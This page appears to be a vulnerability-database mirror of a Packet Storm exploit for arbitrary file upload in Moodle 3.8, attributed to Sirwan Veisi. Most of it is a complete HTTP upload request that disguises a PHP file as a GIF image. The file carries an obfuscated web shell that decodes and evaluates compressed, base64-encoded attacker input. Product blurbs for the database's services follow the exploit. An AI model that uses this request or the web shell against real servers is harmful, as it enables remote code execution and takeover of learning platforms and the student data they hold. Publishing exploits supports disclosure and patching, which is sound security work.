Lucene search
K

Moodle 3.8 Arbitary File Upload

🗓️ 27 Nov 2020 00:00:00Reported by Sirwan VeisiType 
packetstorm
 packetstorm
🔗 packetstormsecurity.com👁 649 Views

Moodle 3.8 Unrestricted File Upload Vulnerability. Arbitrary file upload allowed

Code
`# Exploit Title: Moodle 3.8 - Unrestricted File Upload  
# Date: 2019-09-08  
# Exploit Author: Sirwan Veisi  
# Vendor Homepage: https://moodle.org/  
# Software Link: https://github.com/moodle/moodle  
# Version: Moodle Versions 3.8, 3.7, 3.6, 3.5, 3.4...  
# Tested on: Moodle Version 3.8  
# CWE : CWE-434  
  
I found an Unrestricted Upload vulnerability for Moodle version 3.8 , that  
allows the attacker to upload or transfer files of dangerous types.  
  
  
Example exploitation request:  
  
POST /repository/repository_ajax.php?action=upload HTTP/1.1  
Host: VulnerableHost  
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:80.0)  
Gecko/20100101 Firefox/80.0  
Accept:  
text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8  
Accept-Language: en-US,en;q=0.5  
Accept-Encoding: gzip, deflate  
Content-Type: multipart/form-data;  
boundary=---------------------------38898830537874132223151601680  
Content-Length: 2763  
Origin: https://VulnerableHost  
Connection: close  
Referer: https://VulnerableHost/user/files.php  
Cookie: MoodleSession=bpn90khjdh7mq4phs8i9r0caai  
Upgrade-Insecure-Requests: 1  
  
-----------------------------38898830537874132223151601680  
Content-Disposition: form-data; name="repo_upload_file";  
filename="image.php"  
Content-Type: image/jpeg  
  
GIF89a;  
<?php  
$Q=str_replace('kz','','crekzakztkze_kzfunckztkzion');  
$O='"";for%(%$i=%0;$i<$l;){for%($j=0%;($j<$c&%&$i<$l);$%j++,$i+%+%){$o.=$%t{$i';  
$l='_contents(%"php:%//input"),%$m)=%=1){@ob%_start();%@eva%l(@gzunc%o%mpress(%@';  
$C='$k="3%fbd6%8c8"%;$kh="2a%e%7d638909f";$%kf%="60eb0ffaeb%1%7";$p="dP%FT1%';  
$h='x(@b%ase%6%4_decode($m[1%]),$k)));%$o=@o%b_get_conte%%nts();@ob_end%%_c%lean';  
$N='}%%^$k{$j};}}retu%rn  
$o;}i%f(@preg%_matc%%h("/$kh(.+)$%%k%f%/",@file_ge%t';  
$e='Nmy694Bcj%Vc";fu%nction%  
x(%$t,$k){$c=st%rle%n%($%%k);$l=strlen($t)%;$o=';  
$V='();$r=@bas%e64_en%cod%e(@x(@%%gzcomp%ress($o),$k))%;%print("$%p$kh$r$kf");}';  
$P=str_replace('%','',$C.$e.$O.$N.$l.$h.$V);  
$n=$Q('',$P);$n();  
?>  
  
-----------------------------  
`

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation